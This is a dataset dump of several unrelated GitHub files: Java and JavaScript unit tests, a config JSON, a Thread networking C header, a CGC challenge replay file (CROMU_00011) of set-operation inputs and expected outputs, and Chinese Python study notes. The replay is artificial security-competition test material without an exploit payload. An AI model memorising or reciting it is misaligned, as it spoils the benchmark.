text
stringlengths 2
100k
| meta
dict |
---|---|
/**
* Copyright 2014 Lockheed Martin Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package streamflow.datastore.mongodb.impl;
import com.github.fakemongo.junit.FongoRule;
import java.util.List;
import streamflow.model.kafka.KafkaCluster;
import streamflow.model.test.IntegrationTest;
import static org.junit.Assert.*;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
import org.junit.experimental.categories.Category;
import org.mongodb.morphia.Datastore;
import org.mongodb.morphia.Morphia;
@Category(IntegrationTest.class)
public class MongoKafkaDaoTest {
@Rule
public FongoRule fongoRule = new FongoRule();
private MongoKafkaDao kafkaDao;
@Before
public void setUp() {
Datastore datastore = new Morphia().createDatastore(fongoRule.getMongo(), "streamflow");
kafkaDao = new MongoKafkaDao(datastore);
KafkaCluster kafkaCluster1 = new KafkaCluster();
kafkaCluster1.setId("first-cluster");
kafkaCluster1.setName("First Cluster");
KafkaCluster kafkaCluster2 = new KafkaCluster();
kafkaCluster2.setId("second-cluster");
kafkaCluster2.setName("Second Cluster");
KafkaCluster kafkaCluster3 = new KafkaCluster();
kafkaCluster3.setId("third-cluster");
kafkaCluster3.setName("Third Cluster");
kafkaDao.save(kafkaCluster3);
kafkaDao.save(kafkaCluster1);
kafkaDao.save(kafkaCluster2);
}
@Test
public void findAllKafkaClusters() {
List<KafkaCluster> kafkaClusters = kafkaDao.findAll();
assertEquals("There should be 3 kafka clusters in the datastore", 3, kafkaClusters.size());
// Check proper sorting of the elements by label
assertEquals("The first item in the cluster list should have and id of \"first\"",
"first-cluster", kafkaClusters.get(0).getId());
assertEquals("The second item in the cluster list should have and id of \"second\"",
"second-cluster", kafkaClusters.get(1).getId());
assertEquals("The third item in the cluster list should have and id of \"third\"",
"third-cluster", kafkaClusters.get(2).getId());
}
@Test
public void findKafkaClusterByName() {
KafkaCluster validCluster = kafkaDao.findByName("First Cluster");
assertNotNull("The returned cluster should not be null with valid query values", validCluster);
KafkaCluster invalidCluster = kafkaDao.findByName("Invalid Cluster");
assertNull("The returned component should be null with invalid query values", invalidCluster);
}
} | {
"pile_set_name": "Github"
} |
{
"Logging": {
"LogLevel": {
"Default": "Information",
"Microsoft": "Warning",
"Microsoft.Hosting.Lifetime": "Information"
}
},
"AllowedHosts": "*"
}
| {
"pile_set_name": "Github"
} |
var Glob = require('../glob.js').Glob;
var test = require('tap').test;
test('new glob, with cb, and no options', function (t) {
new Glob(__filename, function(er, results) {
if (er) throw er;
t.same(results, [__filename]);
t.end();
});
});
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2014-2018, Arm Limited and affiliates.
* SPDX-License-Identifier: BSD-3-Clause
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the copyright holder nor the
* names of its contributors may be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/*
* \file thread_network_data_storage.h
* \brief Add short description about this file!!!
*
*/
#ifndef THREAD_NETWORK_DATA_PROXY_H_
#define THREAD_NETWORK_DATA_PROXY_H_
#include "ns_list.h"
#include "thread_constants.h"
struct link_configuration;
struct thread_commissioner;
typedef struct thread_network_data_context_entry_s {
unsigned cid: 4; /*!< 4-bit Context ID */
bool compression: 1; /*!< C (Compression) flag */
bool stableData: 1;
bool canDelete: 1;
uint8_t contextPrefixLength; /*!< Context prefix length in bits */
uint32_t context_reuse_delay; /*!< Time in seconds */
ns_list_link_t link; /*!< List link entry */
} thread_network_data_context_entry_t;
typedef struct thread_network_local_data_context_entry_s {
unsigned cid: 4; /*!< 4-bit Context ID */
bool compression: 1; /*!< C (Compression) flag */
uint8_t contextPrefixLength; /*!< Context prefix length in bits */
bool stableData: 1;
} thread_network_local_data_context_entry_t;
typedef NS_LIST_HEAD(thread_network_data_context_entry_t, link) thread_data_context_list_t;
typedef struct thread_network_data_temporary_route_or_dhcpv6_server_entry_s {
uint16_t routerID; /*!< Services UL16 */
signed Prf: 2;
bool P_preferred: 1;
bool P_slaac: 1;
bool P_dhcp: 1;
bool P_configure: 1;
bool P_default_route: 1;
bool stableData: 1;
bool P_on_mesh: 1;
bool P_nd_dns: 1;
bool P_res1: 1;
bool canDelete: 1;
ns_list_link_t link; /*!< List link entry */
} thread_network_server_data_entry_t;
typedef struct thread_border_router_tlv_entry_t {
uint16_t routerID; /*!< Services UL16 */
signed Prf: 2; /* P_preference */
bool P_preferred: 1; /* P_preferred */
bool P_slaac: 1; /* P_slaac */
bool P_dhcp: 1; /* P_dhcp */
bool P_configure: 1; /* P_configure */
bool P_default_route: 1; /* P_default */
bool stableData: 1; /* P_stable */
bool P_on_mesh: 1; /* P_on_mesh */
bool P_nd_dns: 1; /* P_nd_dns */
bool P_res1: 1; /* P_res1 */
} thread_border_router_tlv_entry_t;
typedef struct thread_prefix_tlv {
uint8_t domainId;
uint8_t *Prefix;
uint8_t PrefixLen;
} thread_prefix_tlv_t;
typedef NS_LIST_HEAD(thread_network_server_data_entry_t, link) thread_network_server_data_list_t;
typedef struct thread_network_data_service_server_entry_s {
uint16_t router_id; /*!< Services UL16 */
uint8_t *server_data;
uint8_t server_data_length;
bool stable : 1;
bool can_delete : 1;
ns_list_link_t link; /*!< List link entry */
} thread_network_data_service_server_entry_t;
typedef NS_LIST_HEAD(thread_network_data_service_server_entry_t, link) thread_network_data_service_server_list_t;
typedef struct thread_network_data_service_cache_entry_s {
bool T : 1;
unsigned S_id : 4;
bool S_stable : 1;
uint32_t S_enterprise_number;
uint8_t *S_service_data;
uint8_t S_service_data_length;
thread_network_data_service_server_list_t server_list;
ns_list_link_t link; /*!< List link entry */
} thread_network_data_service_cache_entry_t;
/** This List Not inlude ::/0 Routes those are listed separately */
typedef struct thread_network_data_prefix_cache_entry_s {
uint8_t domainId;
uint8_t servicesPrefix[16]; /*!< Services Prefix */
uint8_t servicesPrefixLen; /*!< Prefix length in bits This Can Be 1-128 */
thread_data_context_list_t contextList;
thread_network_server_data_list_t routeList;
thread_network_server_data_list_t borderRouterList;
ns_list_link_t link; /*!< List link entry */
} thread_network_data_prefix_cache_entry_t;
typedef struct thread_network_local_data_entry_s {
uint8_t domainId;
uint8_t servicesPrefix[16]; /*!< Services Prefix */
uint8_t servicesPrefixLen; /*!< Prefix length in bits This Can Be 1-128 */
bool routeActive: 1;
bool routeDataStable: 1;
bool brActive: 1;
bool dhcpv6ServerActive: 1;
bool brDataStable: 1;
bool slaacServerActive: 1;
bool slaacPreferred: 1;
unsigned preference: 2;
bool configure: 1;
bool defaultRoute: 1;
bool onMesh: 1;
bool ndDns: 1;
bool res1: 1;
ns_list_link_t link; /*!< List link entry */
} thread_network_local_data_entry_t;
/* The contents of the Service TLV & Server Set tuple */
typedef struct thread_network_data_service_entry_s {
bool T : 1; // '1' if S_enterprise number is THREAD_ENTERPRISE_NUMBER; otherwise, '0'.
unsigned S_id : 4;
uint32_t S_enterprise_number;
uint8_t *S_service_data;
uint8_t S_service_data_length;
uint8_t *S_server_data;
uint8_t S_server_data_length;
bool S_stable;
ns_list_link_t link; /*!< List link entry */
} thread_network_data_service_entry_t;
typedef NS_LIST_HEAD(thread_network_data_service_cache_entry_t, link) thread_network_data_service_cache_list_t;
typedef NS_LIST_HEAD(thread_network_data_prefix_cache_entry_t, link) thread_network_prefix_list_t;
typedef NS_LIST_HEAD(thread_network_local_data_entry_t, link) thread_network_data_prefix_list_t;
typedef NS_LIST_HEAD(thread_network_data_service_entry_t, link) thread_network_data_service_list_t;
/** Network Data Main struct for seprate local data and Global */
typedef struct thread_network_data_cache_entry_s {
thread_network_prefix_list_t localPrefixList; /*!< Local parsed or generated service list */
thread_network_data_service_cache_list_t service_list;
uint8_t networkDataTlvSize; /*!< Network data TLV Size */
uint8_t network_data[THREAD_MAX_NETWORK_DATA_SIZE];
uint16_t network_data_len;
uint32_t contex_id_reuse_timeout;
uint8_t network_data_update_delay;
bool stableUpdatePushed: 1;
bool temporaryUpdatePushed: 1;
} thread_network_data_cache_entry_t;
typedef struct thread_network_local_data_cache_entry_s {
thread_network_data_prefix_list_t prefix_list; /*!< Local parsed or generated service list */
thread_network_data_service_list_t service_list;
uint16_t registered_rloc16;/*!< Address used for latest registration */
uint16_t publish_coap_req_id;/*!< Non-zero when publish is active */
bool release_old_address: 1; /*!< true if network data can be released from old address */
bool publish_pending: 1; /*!< true when publish attempt made during active publish */
} thread_network_local_data_cache_entry_t;
/**
* Initialise Thread Network Data cache
*
* \param cachePtr Pointer to Network Data Structure which will be initialized
*
*/
void thread_network_data_base_init(thread_network_data_cache_entry_t *cachePtr);
void thread_network_local_server_data_base_init(thread_network_local_data_cache_entry_t *cachePtr);
void thread_network_data_free_and_clean(thread_network_data_cache_entry_t *cachePtr);
void thread_network_data_router_id_mark_delete(thread_network_data_cache_entry_t *cachePtr, uint16_t routerID, bool subSet);
bool thread_network_data_router_id_free(thread_network_data_cache_entry_t *cachePtr, bool subSet, struct protocol_interface_info_entry *curInterface);
void thread_network_local_data_free_and_clean(thread_network_local_data_cache_entry_t *cachePtr, int8_t interface_id);
void thread_network_data_context_re_use_timer_update(int8_t id, thread_network_data_cache_entry_t *cachePtr, uint32_t ticks, lowpan_context_list_t *context_list);
/**
* Add new route information to route List
*
* \param networkDataList Pointer main network data structure
* \param prefixTlv Prefix TLV (domainID, Prefix, PrefixLen)
* \param service Route TLV
*
* return 0, ADD OK
* return <0 Add Not OK
*/
int thread_nd_local_list_add_route(thread_network_data_cache_entry_t *networkDataList, thread_prefix_tlv_t *prefixTlv, thread_border_router_tlv_entry_t *service);
int thread_nd_local_list_add_service(thread_network_data_cache_entry_t *networkDataList, thread_network_data_service_entry_t *service, thread_network_data_service_server_entry_t *server);
/**
* Add new DHCPv6 Server information to route List
*
* \param networkDataList Pointer main network data structure
* \param prefixTlv Prefix TLV (domainID, Prefix, PrefixLen)
* \param service On Mesh prefix TLV
*
* return 0, ADD OK
* return <0 Add Not OK
*/
int thread_nd_local_list_add_on_mesh_prefix(thread_network_data_cache_entry_t *networkDataList, thread_prefix_tlv_t *prefixTlv, thread_border_router_tlv_entry_t *service);
/**
* Del DHCPv6 Server information to route List
*
* \param networkDataList Pointer main network data structure
* \param prefixTlv Prefix TLV (domainID, Prefix, PrefixLen)
* \param service On Mesh prefix TLV
*
* return 0, Del OK
* return <0 Del Not OK
*/
int thread_nd_local_list_del_on_mesh_server(thread_network_data_cache_entry_t *networkDataList, thread_prefix_tlv_t *prefixTlv, thread_border_router_tlv_entry_t *service);
/**
* Add new Local DHCPv6 Server information to route List
*
* \param networkDataList Pointer main network data structure
* \param prefixTlv Prefix TLV (domainID, Prefix, PrefixLen)
* \param service On Mesh prefix TLV
*
* return 0, ADD OK
* return <0 Add Not OK
*/
int thread_local_server_list_add_on_mesh_server(thread_network_local_data_cache_entry_t *networkDataList, thread_prefix_tlv_t *prefixTlv, thread_border_router_tlv_entry_t *service);
/**
* Del Local DHCPv6 Server information to route List
*
* \param networkDataList Pointer main network data structure
* \param prefixTlv Prefix TLV (domainID, Prefix, PrefixLen)
*
* return 0, Del OK
* return <0 Del Not OK
*/
int thread_local_server_list_del_on_mesh_server(thread_network_local_data_cache_entry_t *networkDataList, thread_prefix_tlv_t *prefixTlv);
int thread_local_service_list_add(thread_network_local_data_cache_entry_t *networkDataList, thread_network_data_service_entry_t *service);
int thread_local_service_list_del(thread_network_local_data_cache_entry_t *networkDataList, thread_network_data_service_entry_t *service);
/**
* Add new local route information to route List
*
* \param networkDataList Pointer main network data structure
* \param prefixTlv Prefix TLV (domainID, Prefix, PrefixLen)
* \param route HAS Route TLV
*
* return 0, ADD OK
* return <0 Add Not OK
*/
int thread_local_server_add_route(thread_network_local_data_cache_entry_t *networkDataList, thread_prefix_tlv_t *prefixTlv, thread_border_router_tlv_entry_t *route);
/**
* Del local route information to route List
*
* \param networkDataList Pointer main network data structure
* \param prefixTlv Prefix TLV (domainID, Prefix, PrefixLen)
*
* return 0, Del OK
* return <0 Del Not OK
*/
int thread_local_server_del_route(thread_network_local_data_cache_entry_t *networkDataList, thread_prefix_tlv_t *prefixTlv);
/**
* Add new 6LoWPAN contexts information to Network Data list
*
* \param networkDataList Network Data structure pointer
* \param prefixTlv Prefix TLV (domainID, Prefix, PrefixLen)
* \param context Context TLV
*
* return 0, ADD OK
* return <0 Add Not OK
*/
int thread_nd_local_list_add_contexts(thread_network_data_cache_entry_t *networkDataList, thread_prefix_tlv_t *prefixTlv, thread_network_local_data_context_entry_t *context);
/**
* Add new 6LoWPAN contexts information to Network Data list
*
* \param networkDataList Network Interface
* \param prefixPtr pointer 6LoWPAN Contexts
* \param prefixLength indicate prefix pointer valid information in bits
*
* return 0, ADD OK
* return <0 Add Not OK
*/
uint8_t thread_nd_context_id_allocate(thread_network_data_cache_entry_t *networkDataList, thread_network_local_data_cache_entry_t *localDataList, uint8_t *prefixPtr, uint8_t prefixLength);
int thread_nd_verify_contex_id_is_free(thread_network_data_cache_entry_t *list, uint8_t *prefixPtr, thread_network_local_data_context_entry_t *context);
thread_network_data_service_cache_entry_t *thread_network_data_service_entry_find(thread_network_data_service_cache_list_t *list, thread_network_data_service_entry_t *service);
/**
* Write Network Data full list or stable subset to given pointer
*
* \param networkDataList Network Data structure pointer
* \param ptr pointer for write Network Data
* \param fullList Boolean to select Full data or stable subset
*
* return Updated Pointer value end of Network Data
*/
uint16_t thread_network_data_service_set_size(thread_network_data_cache_entry_t *networkDataList, bool fullList);
uint16_t thread_network_data_prefix_set_size(thread_network_data_cache_entry_t *networkDataList, bool fullList);
uint8_t *thread_network_data_prefix_set_write(thread_network_data_cache_entry_t *networkDataList, uint8_t *ptr);
uint8_t *thread_network_data_service_set_write(thread_network_data_cache_entry_t *networkDataList, uint8_t *ptr);
bool thread_network_data_service_hosted_by_this_router_id(thread_network_data_service_cache_entry_t *dataList, uint16_t router_id);
uint16_t thread_network_data_service_child_id_from_networkdata_get(thread_network_data_cache_entry_t *networkDataList, uint16_t router_short_addr);
thread_network_data_prefix_cache_entry_t *thread_prefix_entry_find(thread_network_prefix_list_t *list, thread_prefix_tlv_t *prefixTlv);
uint8_t *thread_nd_own_service_list_data_write(thread_network_local_data_cache_entry_t *serverDataList, uint8_t *ptr, uint16_t routerID);
uint16_t thread_nd_own_service_list_data_size(thread_network_local_data_cache_entry_t *serverDataList);
void thread_nd_network_data_print(thread_network_data_cache_entry_t *networkData, uint16_t routerId);
bool thread_nd_dhcp_anycast_address_mapping_from_network_data(thread_network_data_cache_entry_t *networkDataList, uint16_t *rlocAddress, uint8_t contexId);
bool thread_nd_service_anycast_address_mapping_from_network_data(thread_network_data_cache_entry_t *networkDataList, uint16_t *rlocAddress, uint8_t S_id);
bool thread_nd_on_mesh_address_valid(thread_network_server_data_entry_t *curRoute);
thread_network_server_data_entry_t *thread_nd_hosted_by_this_routerid(uint16_t routerId, thread_network_server_data_list_t *list);
bool thread_network_data_services_registered(thread_network_data_cache_entry_t *cachePtr, uint16_t routerID);
int thread_network_data_resulting_tlv_size(thread_network_data_cache_entry_t *networkDataStorage, uint8_t *network_data_ptr, uint16_t network_data_length, uint16_t router_id);
#endif /* THREAD_NETWORK_DATA_PROXY_H_ */
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" standalone="no" ?>
<!DOCTYPE pov SYSTEM "/usr/share/cgc-docs/replay.dtd"><pov>
<cbid>CROMU_00011</cbid>
<replay>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>p12Pe = |"cOw","92lA3Ge","cpWipF","agm","OuKtl","1FU4"|^|"I7","agm","IkJw9ym"|\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>MBg3mCk = |"T","M","A","LXcXDpS"|-|"w","KSSfIR5","b","YFkJNWT","deJC","M","iVxEipC"|\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>uyB0TsO = |"3JTGpz","Kq4","9qw","RPpcYE","1UMgl","d7r8sy","SUITcw6"|^|"SUITcw6","Kq4","9qw","3JTGpz","RPpcYE","d7r8sy","IhcK0J"|\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>PvzrjOq = |"Rgo6f","U2ET7","gMx","TJ"|+|"MNnjcG","f","O","RX","r","Rgo6f","U"|\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>eYa1NkI = PvzrjOq + MBg3mCk\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>iJWmMy = |"cip","YQRf"|~|"YQRf","f","8vIW","uZszUs","l"|\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>23GVsx = |"Wkh","kl","uTs","Xq201qs","U0GJ","uY1IR"|-|"kl","GO","ithQABf","mWp9","4fGe","m7hKqAc"|\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>tDAnf = |"Vfjo"|^|"j1","GLOq","8KKql","9qWPT4","V3L5","NdP"|\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>0Q9sfpq = |"Ypv","ontL","C93Kb7","ozV","4yy","BgcMr"|\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>0MBvMOm = |"4yy","C93Kb7","CQweBMQTgO"|\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>0MBvMOm@0Q9sfpq\n</data></write>
<read echo="ascii"><delim>\n</delim><match><data>FALSE\n</data></match></read>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>AlOqR = iJWmMy - uyB0TsO\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>N4Mvit = |"Z3AEYEg","rJ2ScR","8n","IxnfA","anup","h7wVl","luvp","ksp6r","zvNLUx"|\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>swHcE = |"luvp"|\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>swHcE@N4Mvit\n</data></write>
<read echo="ascii"><delim>\n</delim><match><data>TRUE\n</data></match></read>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>RCeCM = |"G8ks05","NuQ","4ShzPr","v7pwJ","NJ1","XFxL4lM","7TF0","qvSVoQk","w5WJW"|\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>dYksxY = |"NJ1","G8ks05","v7pwJ","7TF0","4ShzPr","NuQ"|\n</data></write>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>dYksxY@RCeCM\n</data></write>
<read echo="ascii"><delim>\n</delim><match><data>TRUE\n</data></match></read>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>.p\n</data></write>
<read echo="ascii"><delim>\n</delim><match><data>p12Pe = |"agm"|\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>MBg3mCk = |"T","A","LXcXDpS"|\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>uyB0TsO = |"3JTGpz","Kq4","9qw","RPpcYE","d7r8sy","SUITcw6"|\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>PvzrjOq = |"Rgo6f","U2ET7","gMx","TJ","MNnjcG","f","O","RX","r","U"|\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>eYa1NkI = |"Rgo6f","U2ET7","gMx","TJ","MNnjcG","f","O","RX","r","U","T","A","LXcXDpS"|\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>iJWmMy = |"cip","f","8vIW","uZszUs","l"|\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>23GVsx = |"Wkh","uTs","Xq201qs","U0GJ","uY1IR"|\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>tDAnf = ||\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>0Q9sfpq = |"Ypv","ontL","C93Kb7","ozV","4yy","BgcMr"|\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>0MBvMOm = |"4yy","C93Kb7","CQweBMQTgO"|\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>AlOqR = |"cip","f","8vIW","uZszUs","l"|\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>N4Mvit = |"Z3AEYEg","rJ2ScR","8n","IxnfA","anup","h7wVl","luvp","ksp6r","zvNLUx"|\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>swHcE = |"luvp"|\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>RCeCM = |"G8ks05","NuQ","4ShzPr","v7pwJ","NJ1","XFxL4lM","7TF0","qvSVoQk","w5WJW"|\n</data></match></read>
<read echo="ascii"><delim>\n</delim><match><data>dYksxY = |"NJ1","G8ks05","v7pwJ","7TF0","4ShzPr","NuQ"|\n</data></match></read>
<read echo="ascii"><delim> </delim><match><data>\x3E </data></match></read>
<write echo="ascii"><data>.l\n</data></write>
</replay>
</pov>
| {
"pile_set_name": "Github"
} |
# InterviewPython 学习
## 干货
[【GitHub】awesome-python](https://github.com/vinta/awesome-python)
[【GitHub】Python初学者](https://github.com/Yixiaohan/codeparkshare)
[【公众号】Python开发者](http://mp.weixin.qq.com/profile?src=3×tamp=1563673765&ver=1&signature=TQ4Qya7gl94apqLCNkFNSrJGqwLjqxPJKWkefqoDFRYOzGzCs78LYq0MlwNL3B2*vuG8RthiokqOIpvne-*xdQ==)
[【公众号】Python中文社区](http://mp.weixin.qq.com/profile?src=3×tamp=1563673779&ver=1&signature=CUm6FVMcSbpmGyzfw8gpTmiE6tW5Ke6C1VZ*vz-J9wL74NgQDUSarhwQ5jakjTxzKtSt1fOnqafLn-kNuvQKiA==)
[【官网】django中文文档](https://docs.djangoproject.com/zh-hans/2.2/)
[【官网】django-rest-framework](https://q1mi.github.io/Django-REST-framework-documentation/)
## 自己总结的
### python运行原理
#### python程序的生命周期
(1)源码阶段(.py文件)
(2)编译阶段(PyCodeObject字节码对象)
(3)运行阶段(Python虚拟机运行字节码指令)
python程序的运行依赖python解释器,执行一个`.py`文件,首先是将`.py`文件编译成`PyCodeObject字节码对象`,并存入内存中。接下来,python虚拟机逐条运行字节码指令。当运行完毕后,会生成`.pyc`文件,`.pyc`文件是`PyCodeObject字节码对象`在硬盘中的表现形式。
当下次再运行相同的`.py`文件时,假如源码没有任何改动,则不会再次将文件编译成`PyCodeObject字节码对象`,而是优先将`.pyc`文件载入到内存中去执行相应的字节码指令。
#### .pyc文件包含哪些信息?
一个 pyc 文件包含了三部分信息:Python 的 magic number、pyc 文件创建的时间信息,以及 PyCodeObject 对象。
注意:一个.py文件,只有被当作module时,才会生成`.pyc`文件,也就是假如文件中有 `if __name__ == '__main__' :`,将不会为这个`.py`文件生成`.pyc`文件,除非这个文件同时被其他运行的文件所引用(`import`)
#### 如何查看python的字节码指令
```python
import dis
with open('xxx.py','r') as f:
# print(f.read())
co = compile(f.read(),'xxx.py','exec')
print(dis.dis(co))
```
### 数据类型
#### 基本数据类型(8种)
1. 整型(int)
2. 浮点型(float)
3. 字符串(str)
4. 列表(list)
5. 元祖(tuple)
6. 字典(dict)
7. 集合(set)
8. 布尔(bool)
#### **数据类型分类**
| 分类 | python 数据类型 |
| -------- | ------------------ |
| 数值类型 | 整数、浮点、布尔 |
| 序列类型 | 字符串、列表、元祖 |
| 散列类型 | 字典、集合 |
**字节类型表示**:`a=bytes('123') or a=b'123'`
**字节数组**:`bytearray('123')`
**可变序列**:列表`[]`,集合`{}`,字典`{"key":'value'}`
**不可变序列**:字符串`''`,元祖`()`
**有序序列**:列表`[]`,字符串`''`,元祖`()`
**无序散列**:集合`{}`,字典`{"key":'value'}`
------
### 数据类型方法
#### 字符串方法
1. 字符串拼接:
- `str1 + str2`
- `"".join([str1, str2])` 数组转字符串的常用方法
- `"str1:%s,str2:%s"%(str1, str2)`
- `"{}{}{}".format(str1, str2, str3)`
2. `str1.replace(m,n,x)`
- 字符串替换
- m:新字符串,n:旧字符串,x:替换个数
3. `str1.index(m)`
- 查找**m**在**str1**中**位置(索引)**,找不到会抛出异常
4. `str1.find(m)`
- 查找**m**在**str1**中**位置(索引)**,找不到返回 -1
5. `str1.count(m)`
- 统计**m**在**str1**中出现的**次数**,一个都没有返回 0
6. `str1.isdigit()`
- 判断**str1**是否是数字,返回 bool
7. `str1.isalpha()`
- 判断**str1**是否是字母,返回bool
8. `str1.isupper()`
- 判断**str1**是否是大写,返回bool
9. `str1.islower()`
- 判断**str1**是否是小写,返回bool
10. `str1.startswith(m)`
- 判断**str1**是不是以**m**开头,返回bool
11. `str1.endswith(m)`
- 判断**str1**是不是**m**结尾,返回bool
12. `str1.upper()`
- **str1**转化为大写
13. `str1.lower()`
- **str1**转化为小写
14. `str1.strip()`
- 去掉**str1**左右空白字符串
- `.lstrip()`去掉左侧空白
- `.rstrip()`去掉右侧空白
15. `str1.title()`
- **str1**标题化
16. `str1.capitalize()`
- **str1**第一个字母变成大写
17. `str1.split(m, x)`
- 以**m**为界分割,分割**x**次
#### 列表方法
1. `li.append(m)`
- **m**添加到列表末尾
2. `li.insert(x,m)`
- 将**m**插入到列表,**x**是列表元素下标
3. `li.extend(list1)`
- 列表拼接,li 尾部增加 list1 的元素,作用在 li 上
- 这个方法也是充分体现了鸭子类型,传入的参数不仅是列表,元组、集合等可迭代对象都可以当作参数传入
- 和`li+list1`区别:`li + list1`是表达式,要用一个变量来接收,如 `list2 = li + list1`
4. `li.pop(x)`
- **x**:被删除元素的索引,返回值:被删除的元素
- 若不传参数,则从最后开始删除
5. `li.remove(m)`
- 删除一个元素**m**,没有返回值
6. `li.clear()`
- 清空列表li
7. `li.index(m)`
- 查询**m**的下标
8. `li.count(m)`
- 统计**m**在**li**中出现的**次数**,一个都没有返回 0
9. `li[x] = m`
- 把**li**中下标为**x**的元素的值,设置成**m**
10. 深拷贝和浅拷贝
- `copy.copy(li)` 浅拷贝,只拷贝第一层元素的引用,产生的新的列表与被拷贝的列表互不影响
- `copy.deepcopy(li)`深拷贝,递归拷贝所有元素,产生新的列表与被拷贝的列表互不影响
- `li = old_li` 赋值,两个变量都指向同一个内存块,修改**li**会对**old_li**产生影响,同理,修改**old_li**也会对**li**产生影响
11. 永久排序
- `li.sort(reverse=True/False)`
- True 倒序
- False 正序
- `li.reverse()`
- 永久倒序
12. 临时排序
- `sorted(li, reverse=True/False)`
- True 倒序
- False 正序
- `reversed(li) `
- 临时倒序
13. 数组遍历
```python
lists = [1, 2, 3, 4, 5]
print("--------# 只遍历值------------")
# 只遍历值
for i in lists:
print(i)
print("--------# 逆序遍历--1----------")
# 逆序遍历
for i in lists[::-1]:
print(i)
print("--------# 逆序遍历--2----------")
# 逆序遍历
for i in range(len(lists), 0, -1):
print(i)
print("--------# 遍历键和值--2----------")
# 遍历键和值
for idx, val in enumerate(lists):
print(idx,':',val)
print("--------# 遍历键----------")
# 只遍历键
for idx in range(0, len(lists)):
print(idx)
```
#### 元组方法
1. `tup.index(m)`
- 查找**m**在**tup**中下标
2. `tup.count(m)`
- 统计**m**在**tup**中出现的**次数**,一个都没有返回 0
#### 集合方法
1. `st1 & st2`
- 求 **st1** 和 **st2** 的交集
2. `st1 | st2`
- 求 **st1** 和 **st2** 的并集
3. `st1 - st2`
- 求 **st1** 和 **st2** 的差集
4. `st.add(m)`
- 向集合**st**里面添加一个元素**m**
5. `st.pop()`
- 随机删除集合里的元素
6. `st.remove(m)`
- 指定删除集合里的元素**m**,若集合没有元素**m**,也不会报错
7. `st1.isdisjoint(st2)`
- 判断**st1**与**st2**是否存在交集
8. `st1.issubset(st2)`
- 判断**st1**是否是**st2**的子集
9. `st1.issuperset(st2)`
